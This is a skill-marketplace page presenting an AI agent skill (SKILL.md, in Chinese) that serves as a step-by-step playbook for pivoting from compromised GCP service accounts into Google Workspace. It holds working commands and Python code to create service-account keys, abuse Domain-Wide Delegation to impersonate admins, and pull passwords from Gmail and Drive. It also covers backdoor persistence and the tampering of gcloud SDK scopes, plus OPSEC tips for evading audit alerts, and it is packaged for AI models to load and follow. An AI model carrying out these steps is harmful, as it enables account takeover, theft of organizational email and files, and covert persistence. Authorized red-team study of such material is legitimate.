Gcp Workspace Pivot logo

Gcp Workspace Pivot

OrganizationPopular
wgpsec
gcp-workspace-pivot

GCP 到 Google Workspace 的穿越攻击方法论。当已获取 GCP Service Account 或 Project 权限并发现目标组织使用 Google Workspace、需要从云平台穿越到企业邮件/文档/管理控制台、或发现 Domain-Wide Delegation 配置时使用。覆盖 Domain-Wide Delegation 滥用、OAuth 范围利用、Workspace API 数据窃取(Gmail/Drive/Calendar/Admin Directory)、以及 Workspace 持久化技术

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namegcp-workspace-pivot
Stars
1.7K
Forks
242
Bundled files
1
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Gcp Workspace Pivot AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/gcp-workspace-pivot .claude/skills/gcp-workspace-pivot
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Gcp Workspace Pivot in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Gcp Workspace Pivot on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Gcp Workspace Pivot is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

GCP 到 Google Workspace 穿越攻击方法论

GCP 与 Google Workspace 同属 Google Cloud 生态,二者通过 IAM 和 OAuth 深度绑定。当攻击者拿到 GCP Service Account 或 Project 权限后,若目标组织同时使用 Google Workspace(原 G Suite),就可能从云基础设施穿越到企业办公系统——直接访问全员邮件、文件、日历、通讯录乃至管理控制台。

为什么这个穿越如此致命

  • 影响面极大:一个配置了 Domain-Wide Delegation(DWD)的 Service Account 可冒充组织内任意用户
  • 权限升级无感知:DWD 滥用不需要目标用户交互或确认,被冒充的用户完全无感
  • 数据价值极高:企业邮件(Gmail)、共享文件(Drive)、会议日程(Calendar)、组织架构(Admin Directory)全部可被访问
  • 攻击路径隐蔽:通过 Service Account 生成的 OAuth Token 访问 Workspace API,不同于用户直接登录,很多组织缺少对此类访问的监控

深入参考

识别到具体 Workspace 后渗透场景后,加载参考文档获取完整技术细节:

核心概念:Domain-Wide Delegation(DWD)

DWD 是什么

Domain-Wide Delegation 是 Google Workspace 的一项功能,允许 GCP Service Account 代表 Workspace 域内的任意用户访问 Google API。其工作流程:

1. Service Account 使用私钥签署 JWT(声明要冒充的用户和请求的 OAuth scope)
2. JWT 发送到 Google OAuth 2.0 服务,请求 Access Token
3. Google 验证 DWD 配置后返回 Access Token(代表目标用户)
4. 使用该 Token 调用 Google API(Gmail/Drive/Calendar 等),以目标用户身份操作

为什么 DWD 危险

  • 配置 DWD 时只需 Service Account 的 OAuth Client ID 和 OAuth Scope,不绑定特定用户
  • 一旦配置,该 SA 可冒充域内任意用户,包括 Super Admin
  • DWD 配置只能在 Admin Console 手动管理,无法通过 API 审计其历史变更
  • 许多组织为了自动化工作流而配置 DWD,但未做最小权限限制

DWD 滥用的前提条件

条件说明
拥有 SA 私钥或可创建新密钥iam.serviceAccountKeys.create 权限
SA 已配置 DWDAdmin Console 中已授权该 SA 的 Client ID
知道至少一个有效 Workspace 用户邮箱用于冒充,Super Admin 效果最佳
SA 被授权了有用的 OAuth Scope如 Gmail、Drive、Admin Directory 等

攻击链:发现并利用 DWD

Step 1:枚举 GCP 项目中的 Service Account

bash
# 列出当前项目的所有 Service Account
gcloud iam service-accounts list --project <project-id>

# 枚举所有可访问项目
for proj in $(gcloud projects list --format="value(projectId)"); do
  echo "=== Project: $proj ==="
  gcloud iam service-accounts list --project "$proj" \
    --format="table(email,displayName,disabled)" 2>/dev/null
done

Step 2:检查 SA 的密钥和权限

bash
# 列出 SA 的现有密钥
gcloud iam service-accounts keys list \
  --iam-account <sa-email> \
  --format="table(name,validAfterTime,validBeforeTime,keyType)"

# 检查当前用户对 SA 的权限(能否创建密钥)
gcloud iam service-accounts get-iam-policy <sa-email>

# 创建新密钥(如有权限)
gcloud iam service-accounts keys create ./sa-key.json \
  --iam-account <sa-email>

Step 3:识别 DWD 配置

DWD 配置无法通过 GCP API 直接查询,需要间接判断:

bash
# 获取 SA 的 OAuth2 Client ID(唯一标识,用于 DWD 配置)
gcloud iam service-accounts describe <sa-email> \
  --format="value(oauth2ClientId)"

# 暴力尝试法:用 SA 密钥尝试生成委托令牌
# 如果成功,说明该 SA 已配置 DWD

自动化发现:使用 DeleFriend 工具可批量枚举所有 SA 并尝试各种 OAuth Scope 组合来发现 DWD 配置。

Step 4:生成委托令牌并冒充用户

python
from google.oauth2 import service_account
import google.auth.transport.requests

# 目标 OAuth Scope(根据需要选择)
SCOPES = [
    'https://www.googleapis.com/auth/gmail.readonly',
    'https://www.googleapis.com/auth/drive.readonly',
    'https://www.googleapis.com/auth/calendar.readonly',
    'https://www.googleapis.com/auth/admin.directory.user.readonly',
    'https://www.googleapis.com/auth/admin.directory.group.readonly',
]

# 加载 SA 凭据并设置委托用户
credentials = service_account.Credentials.from_service_account_file(
    'sa-key.json', scopes=SCOPES
)
# 冒充目标用户(Super Admin 效果最佳)
delegated_creds = credentials.with_subject('admin@target-org.com')

# 获取 Access Token
request = google.auth.transport.requests.Request()
delegated_creds.refresh(request)
print(f"Access Token: {delegated_creds.token}")
bash
# 使用生成的 Token 调用 API
TOKEN="<上一步获取的 token>"

# 测试 Gmail 访问
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=5"

# 测试 Drive 访问
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://www.googleapis.com/drive/v3/files?pageSize=10"

Step 5:批量尝试 OAuth Scope

当不确定 SA 被授权了哪些 Scope 时,逐个尝试:

python
"""批量尝试不同 OAuth Scope 组合,发现 SA 的 DWD 权限范围"""
from google.oauth2 import service_account
import google.auth.transport.requests

SCOPE_LIST = [
    'https://mail.google.com/',
    'https://www.googleapis.com/auth/gmail.readonly',
    'https://www.googleapis.com/auth/drive',
    'https://www.googleapis.com/auth/drive.readonly',
    'https://www.googleapis.com/auth/calendar',
    'https://www.googleapis.com/auth/calendar.readonly',
    'https://www.googleapis.com/auth/admin.directory.user',
    'https://www.googleapis.com/auth/admin.directory.user.readonly',
    'https://www.googleapis.com/auth/admin.directory.group',
    'https://www.googleapis.com/auth/admin.directory.domain',
    'https://www.googleapis.com/auth/cloud-platform',
    'https://www.googleapis.com/auth/contacts.readonly',
    'https://www.googleapis.com/auth/chat.messages.readonly',
]

for scope in SCOPE_LIST:
    try:
        creds = service_account.Credentials.from_service_account_file(
            'sa-key.json', scopes=[scope]
        )
        delegated = creds.with_subject('admin@target-org.com')
        delegated.refresh(google.auth.transport.requests.Request())
        print(f"[+] 有效 Scope: {scope}")
    except Exception as e:
        print(f"[-] 无效 Scope: {scope} ({e})")

决策树:GCP 权限 → Workspace 穿越路径

当前 GCP 权限级别?
├─ 拥有 SA 私钥文件
│   ├─ SA 已配置 DWD → 直接生成委托令牌冒充任意用户
│   └─ SA 未配置 DWD → 检查其他 SA / 尝试创建新 DWD(需 Workspace Admin)
├─ 可创建 SA 密钥(iam.serviceAccountKeys.create)
│   ├─ 枚举所有 SA → 为每个 SA 创建密钥 → 尝试 DWD
│   └─ 使用 DeleFriend 自动化枚举
├─ 拥有 Workspace Super Admin(通过 GCP 提权获得)
│   ├─ 创建新 SA + 配置 DWD → 完全控制 Workspace
│   └─ 直接通过 Admin Console 操作(不需 DWD)
├─ 普通 Workspace 用户凭据
│   ├─ 创建新 GCP 项目 → 启用 API → 枚举 Workspace
│   ├─ 加入开放的 Google Groups → 获取额外 GCP 权限
│   └─ gcloud auth login --enable-gdrive-access → 访问 Drive
└─ 仅有 GCP 项目 Viewer
    └─ 枚举 SA 列表 → 寻找可利用的 SA → 尝试提权路径

OAuth Scope 利用速查

高价值 Scope 列表

OAuth Scope能力危险等级
https://mail.google.com/Gmail 完全读写(含发送)极高
https://www.googleapis.com/auth/gmail.readonly读取所有邮件
https://www.googleapis.com/auth/driveDrive 完全读写极高
https://www.googleapis.com/auth/admin.directory.user用户管理(创建/删除用户)极高
https://www.googleapis.com/auth/admin.directory.group组管理
https://www.googleapis.com/auth/admin.directory.domain域管理极高
https://www.googleapis.com/auth/calendar日历完全读写
https://www.googleapis.com/auth/contacts通讯录读写
https://www.googleapis.com/auth/chat.messagesChat 消息读写
https://www.googleapis.com/auth/cloud-platformGCP 全权限极高

gcloud 凭据劫持

当物理访问到已登录 gcloud 的主机时,可以劫持已有凭据来访问 Workspace:

bash
# 检查已认证的账户
gcloud auth list

# 使用 --enable-gdrive-access 重新登录,扩展 Scope 到 Drive
gcloud auth login --enable-gdrive-access

# 用获取的 Token 访问 Drive API
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://www.googleapis.com/drive/v3/files"

高级手法:修改 google-cloud-sdk/lib/googlecloudsdk/core/config.py 中的 CLOUDSDK_SCOPES,注入额外的 OAuth Scope(如 https://www.googleapis.com/auth/drive),下次用户登录时 Token 自动携带该 Scope。

Workspace 数据窃取速查

→ 读 references/workspace-post-exploit.md

服务关键 API典型操作
Gmailgmail.googleapis.com/gmail/v1/users/me/messages搜索/读取邮件,提取附件
Drivewww.googleapis.com/drive/v3/files列出/下载文件,搜索敏感文档
Calendarwww.googleapis.com/calendar/v3/calendars读取会议安排,查看参会人
Admin Directoryadmin.googleapis.com/admin/directory/v1/users枚举用户/组/域,修改角色
Chatchat.googleapis.com/v1/spaces读取 Chat 消息
Contactspeople.googleapis.com/v1/people/me/connections获取通讯录

快速数据提取命令

bash
TOKEN="<delegated_access_token>"

# Gmail:搜索含密码的邮件
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://gmail.googleapis.com/gmail/v1/users/me/messages?q=password+OR+credential+OR+密码"

# Drive:搜索敏感文件
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://www.googleapis.com/drive/v3/files?q=name+contains+'password'+or+name+contains+'credential'&fields=files(id,name,mimeType)"

# Admin Directory:枚举所有用户
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://admin.googleapis.com/admin/directory/v1/users?domain=target-org.com&maxResults=500"

# Admin Directory:枚举所有组
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://admin.googleapis.com/admin/directory/v1/groups?domain=target-org.com"

Workspace 持久化概览

技术前置条件隐蔽性持久性
创建新 DWD 配置Workspace Super Admin永久(直到手动删除)
跨组织 DWD攻击者 GCP 账户 + 目标 Super Admin永久
Gmail 转发规则被冒充用户身份持续(直到发现)
Gmail 过滤器隐藏告警被冒充用户身份持续
OAuth App 授权用户交互或 Admin 权限直到撤销
委托邮箱访问用户设置或 Admin 权限直到撤销
创建后门管理员账户Admin Directory 写权限直到发现
App Script 定时触发用户交互持续
修改 gcloud SDK Scope主机物理/远程访问直到 SDK 更新

创建新 DWD 实现持久化

bash
# 1. 在攻击者控制的 GCP 项目中创建 SA
gcloud iam service-accounts create backdoor-sa \
  --project <attacker-project>
gcloud iam service-accounts keys create backdoor-key.json \
  --iam-account backdoor-sa@<attacker-project>.iam.gserviceaccount.com

# 2. 获取 SA 的 OAuth Client ID
gcloud iam service-accounts describe \
  backdoor-sa@<attacker-project>.iam.gserviceaccount.com \
  --format="value(oauth2ClientId)"

# 3. 在目标 Workspace Admin Console 中添加 DWD
# https://admin.google.com/ac/owl/domainwidedelegation
# 填入 Client ID 和所需 OAuth Scope
# 注意:此步骤只能手动操作,无法通过 API 完成

关键发现:DWD 的 OAuth Client ID 是全局的,跨组织 DWD 是可行的——攻击者 GCP 项目的 SA 可以被配置为目标 Workspace 组织的委托身份。只需要目标 Workspace 的 Super Admin 访问权限即可完成配置。

推荐工具

工具用途链接/命令
DeleFriend自动化 DWD 发现与利用github.com/axon-git/DeleFriend
DelePwnDeleFriend 增强版,含域枚举/Drive/Gmailgithub.com/n0tspam/delepwn
gcpwnGCP 综合利用框架github.com/NetSPI/gcpwn
gcp_delegation.pyGitlab 红队 DWD 利用脚本gitlab.com/gitlab-com/gl-security/.../gcp_delegation.py
gcp_gen_delegation_token生成委托 OAuth Tokengithub.com/carlospolop/gcp_gen_delegation_token
google-api-python-clientGoogle API Python SDKpip install google-api-python-client
PaperChaserDrive 文档蜘蛛爬取github.com/mandatoryprogrammer/PaperChaser

OPSEC 注意事项

Workspace 审计日志

Google Workspace Admin Console 的审计日志会记录以下操作:

  • Admin 审计日志:用户/组的创建、删除、权限变更
  • 登录审计日志:登录事件(但 SA 冒充不产生登录日志)
  • Drive 审计日志:文件查看、下载、共享、权限变更
  • Gmail 审计日志:委托访问、邮件规则变更
  • Token 审计日志:OAuth Token 授权和撤销
  • SAML 审计日志:SSO 相关事件

高危告警触发器

操作告警级别说明
创建新 Admin 用户Admin 审计日志 + 邮件通知
新增 DWD 配置Admin 审计日志(但很多组织未监控)
大量 API 调用异常流量检测
跨地理位置 Token 使用SA Token 通常无地理限制
Gmail 转发规则变更安全告警推送到用户手机
OAuth App 授权取决于组织策略

OPSEC 建议

  • 冒充 SA 而非用户登录:SA 通过 DWD 生成的 Token 不会触发用户登录告警
  • 控制 API 调用速率:避免短时间大量请求触发异常检测
  • 优先使用只读 Scopereadonly Scope 比读写 Scope 产生更少审计条目
  • 选择冒充目标:不一定要冒充 Super Admin,普通用户的操作更不易引起关注
  • Gmail 操作谨慎:创建转发规则/过滤器会触发安全告警推送到用户手机

交叉引用

  • 参考 gcp-pentesting 技能,获取 GCP 整体攻击流程和初始权限获取方法
  • 参考 gcp-exploit 技能,获取 GCP 权限提升和 Service Account 相关利用技术

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Gcp Workspace Pivot AI skill do?

GCP 到 Google Workspace 的穿越攻击方法论。当已获取 GCP Service Account 或 Project 权限并发现目标组织使用 Google Workspace、需要从云平台穿越到企业邮件/文档/管理控制台、或发现 Domain-Wide Delegation 配置时使用。覆盖 Domain-Wide Delegation 滥用、OAuth 范围利用、Workspace API 数据窃取(Gmail/Drive/Calendar/Admin Directory)、以及 Workspace 持久化技术

Why use Gcp Workspace Pivot on TypingMind?

Because you install it once and use it with any model. Gcp Workspace Pivot is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Gcp Workspace Pivot in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/gcp-workspace-pivot. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Gcp Workspace Pivot?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Gcp Workspace Pivot?

As many as you like. As long as a model supports skills, you can use Gcp Workspace Pivot with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Gcp Workspace Pivot AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇